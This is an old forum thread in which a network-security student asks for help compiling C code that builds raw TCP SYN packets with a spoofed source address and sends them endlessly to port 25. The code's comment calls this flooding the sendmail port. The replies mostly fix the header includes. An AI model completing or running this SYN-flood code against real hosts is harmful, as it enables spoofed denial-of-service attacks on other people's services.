LinuxQuestions.org
Visit Jeremy's Blog.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 04-20-2006, 11:20 PM   #1
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Rep: Reputation: 15
raw socket/ip packet help


I use SuSe 9.3 and I am studying network security for school. Right now we are studying diferent ways of modifying packets to decieve network devices. I have been searching the net for tutorials on programming raw ip packets/sockets and ran accross the code below...but when i compile it i get errors (errors are below code). Can anyone point me in the right direction to correct the errors?

#define __USE_BSD /* use bsd'ish ip header */
#include /* these headers are for a Linux system, but */
#include /* the names on other systems are easy to guess.. */
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include

#define P 25 /* lets flood the sendmail port */

unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
char datagram[4096]; /* this buffer will contain ip header, tcp header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */

sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

memset (datagram, 0, 4096); /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
that the kernel knows the header is included in the data, and doesn't
insert its own header into the packet before our data */

{ /* lets do it the ugly way.. */
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
}

while (1)
{
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->ip_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("error\n");
else
printf (".");
}

return 0;
}


The errors i get are:

syn.c:2:64: #include expects "FILENAME" or <FILENAME>
syn.c:3:69: #include expects "FILENAME" or <FILENAME>
syn.c:4:10: #include expects "FILENAME" or <FILENAME>
syn.c:6:10: #include expects "FILENAME" or <FILENAME>
syn.c:7:10: #include expects "FILENAME" or <FILENAME>
syn.c: In function `main':
syn.c:25: error: `PF_INET' undeclared (first use in this function)
syn.c:25: error: (Each undeclared identifier is reported only once
syn.c:25: error: for each function it appears in.)
syn.c:25: error: `SOCK_RAW' undeclared (first use in this function)
syn.c:25: error: `IPPROTO_TCP' undeclared (first use in this function)
syn.c:33: error: invalid application of `sizeof' to an incomplete type
syn.c:33: error: invalid use of undefined type `struct tcphdr'
syn.c:34: error: storage size of `sin' isn't known
syn.c:39: error: `AF_INET' undeclared (first use in this function)
syn.c:50: error: dereferencing pointer to incomplete type
syn.c:51: error: dereferencing pointer to incomplete type
syn.c:52: error: dereferencing pointer to incomplete type
syn.c:53: error: dereferencing pointer to incomplete type
syn.c:53: error: invalid application of `sizeof' to an incomplete type
syn.c:53: error: invalid application of `sizeof' to an incomplete type
syn.c:55: error: dereferencing pointer to incomplete type
syn.c:56: error: dereferencing pointer to incomplete type
syn.c:57: error: dereferencing pointer to incomplete type
syn.c:58: error: dereferencing pointer to incomplete type
syn.c:59: error: dereferencing pointer to incomplete type
syn.c:61: error: dereferencing pointer to incomplete type
syn.c:63: error: dereferencing pointer to incomplete type
syn.c:64: error: dereferencing pointer to incomplete type
syn.c:65: error: dereferencing pointer to incomplete type
syn.c:66: error: dereferencing pointer to incomplete type
syn.c:67: error: dereferencing pointer to incomplete type
syn.c:69: error: dereferencing pointer to incomplete type
syn.c:70: error: dereferencing pointer to incomplete type
syn.c:71: error: dereferencing pointer to incomplete type
syn.c:71: error: `TH_SYN' undeclared (first use in this function)
syn.c:72: error: dereferencing pointer to incomplete type
syn.c:73: error: dereferencing pointer to incomplete type
syn.c:77: error: dereferencing pointer to incomplete type
syn.c:79: error: dereferencing pointer to incomplete type
syn.c:79: error: dereferencing pointer to incomplete type
syn.c:88: error: `IPPROTO_IP' undeclared (first use in this function)
syn.c:88: error: `IP_HDRINCL' undeclared (first use in this function)
syn.c:97: error: dereferencing pointer to incomplete type
 
Old 04-21-2006, 07:34 AM   #2
Agrouf
Senior Member
 
Registered: Sep 2005
Location: France
Distribution: LFS
Posts: 1,596

Rep: Reputation: 80
Quote:
#include /* these headers are for a Linux system, but */
#include /* the names on other systems are easy to guess.. */
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include
If this is really what you are trying to compile, this is just wrong.
If you copied ans pasted, then you have to adapt it.
put a filename after #include pre-processor directive.
If you put the right files there, then all the undeclared errors will go along with the include errors.

Last edited by Agrouf; 04-21-2006 at 07:36 AM.
 
Old 04-21-2006, 10:44 AM   #3
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
The site i got the code from is http://mixter.void.ru/rawip.html
To be honest im a network engineer that has never learned C so this is all a little new to me. I have done lots of php, flash, and css scripting but thats as far as my programming goes. Can you give me some more insight as to what yoy mean by adapting it? Also, do you know where to locate the header files on a suse 9.3 system?

Last edited by shouup; 04-21-2006 at 11:09 AM.
 
Old 04-21-2006, 11:37 AM   #4
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
i found the ip info
#define __USE_BSD /* use bsd'ish ip header */
#include contrib/ipfilter/netinet/ip_compat
#include netinet/in.h
#include sys/socket.h

now im looking the tcp portion...
 
Old 04-21-2006, 11:37 AM   #5
Seniltai
LQ Newbie
 
Registered: Nov 2005
Location: Friesland, The Netherlands
Distribution: Fedora Core 5 Test 2 / FreeBSD 6 / Windows XP SP2
Posts: 17

Rep: Reputation: 0
I'm not sure, but I think it's socket.h for Linux and winsock.h for Windows, though you need to include the proper library files too, googling those files will probably show you the library files you need.
 
Old 04-21-2006, 12:06 PM   #6
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
now i have:

#define __USE_BSD /* use bsd'ish ip header */
#include netinet/in.h
#include sys/socket.h
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include netinet/tcp.h

Should that take care of my problems?
 
Old 04-21-2006, 12:18 PM   #7
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Seniltai
I'm not sure, but I think it's socket.h for Linux and winsock.h for Windows, though you need to include the proper library files too, googling those files will probably show you the library files you need.
Im not sure which libraries you are talking about so im going to compile tonight with the updated filenames and ill let you know what happens. I really appreciate the help being im new to the C language.
 
Old 04-21-2006, 11:31 PM   #8
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by shouup
now i have:

#define __USE_BSD /* use bsd'ish ip header */
#include netinet/in.h
#include sys/socket.h
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include netinet/tcp.h

Should that take care of my problems?
With that correction i now get the following errors. Any ideas?

linux:~ # gcc syn2.c -o syn2
syn2.c: In function `main':
syn2.c:28: error: invalid application of `sizeof' to an incomplete type
syn2.c:42: error: dereferencing pointer to incomplete type
syn2.c:43: error: dereferencing pointer to incomplete type
syn2.c:44: error: dereferencing pointer to incomplete type
syn2.c:45: error: dereferencing pointer to incomplete type
syn2.c:45: error: invalid application of `sizeof' to an incomplete type
syn2.c:47: error: dereferencing pointer to incomplete type
syn2.c:48: error: dereferencing pointer to incomplete type
syn2.c:49: error: dereferencing pointer to incomplete type
syn2.c:50: error: dereferencing pointer to incomplete type
syn2.c:51: error: dereferencing pointer to incomplete type
syn2.c:53: error: dereferencing pointer to incomplete type
syn2.c:55: error: dereferencing pointer to incomplete type
syn2.c:68: error: dereferencing pointer to incomplete type
syn2.c:68: error: dereferencing pointer to incomplete type
syn2.c:85: error: dereferencing pointer to incomplete type
 
Old 04-22-2006, 06:48 AM   #9
Agrouf
Senior Member
 
Registered: Sep 2005
Location: France
Distribution: LFS
Posts: 1,596

Rep: Reputation: 80
The pre-processor doesn't find struct ip and tcphdr.
use the grep command to find out which header file to include.
 
Old 04-22-2006, 10:56 AM   #10
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Agrouf
The pre-processor doesn't find struct ip and tcphdr.
use the grep command to find out which header file to include.
so even with that last post of mine i still need to find the correct tcp header file? I thought i had the write files being all the variable errors dissapeared. Can you clarify upon this for me?
 
Old 04-22-2006, 04:37 PM   #11
Mara
Moderator
 
Registered: Feb 2002
Location: Grenoble
Distribution: Debian
Posts: 9,696

Rep: Reputation: 232Reputation: 232Reputation: 232
You need
Code:
#define __USE_BSD /* use bsd'ish ip header */
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
Note the <'ss and >'s. They're important.
 
Old 04-24-2006, 11:50 AM   #12
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Mara
You need
Code:
#define __USE_BSD /* use bsd'ish ip header */
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
Note the <'ss and >'s. They're important.
I ran across some syntax information online and it said you can use the <'s and >'s or just use quotations (" "). Is there a diferene in the use?
 
Old 04-24-2006, 12:02 PM   #13
shouup
Member
 
Registered: Sep 2005
Location: Omaha, NE
Distribution: OpenSuSe 10.2
Posts: 34

Original Poster
Rep: Reputation: 15
When i did the above suggestion i got a lot more errors then i started with. any more suggestion?
 
Old 04-24-2006, 12:43 PM   #14
addy86
Member
 
Registered: Nov 2004
Location: Germany
Distribution: Debian Testing
Posts: 332

Rep: Reputation: 31
No offense, but you should get yourself a good C book and understand the basics before you try things like sockets.
 
Old 04-24-2006, 04:54 PM   #15
Mara
Moderator
 
Registered: Feb 2002
Location: Grenoble
Distribution: Debian
Posts: 9,696

Rep: Reputation: 232Reputation: 232Reputation: 232
Quote:
Originally Posted by shouup
When i did the above suggestion i got a lot more errors then i started with. any more suggestion?
That's OK. The code was definitely wrong, now back to the actual problem. You don't have all the includes you need. Coul you please paste the current code with current includes?
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Help with raw socket programming tuxfood Programming 2 07-25-2005 01:17 PM
Raw Syn Packet with Data GodSendDeath Programming 4 04-06-2004 04:53 PM
Socket Raw linuxanswer Programming 1 04-01-2004 09:43 PM
Packet socket and socket filtring Baran Linux - Newbie 4 10-09-2003 07:16 AM
Raw Packet Data vanibhat Linux - Security 1 08-01-2003 07:42 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 05:34 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration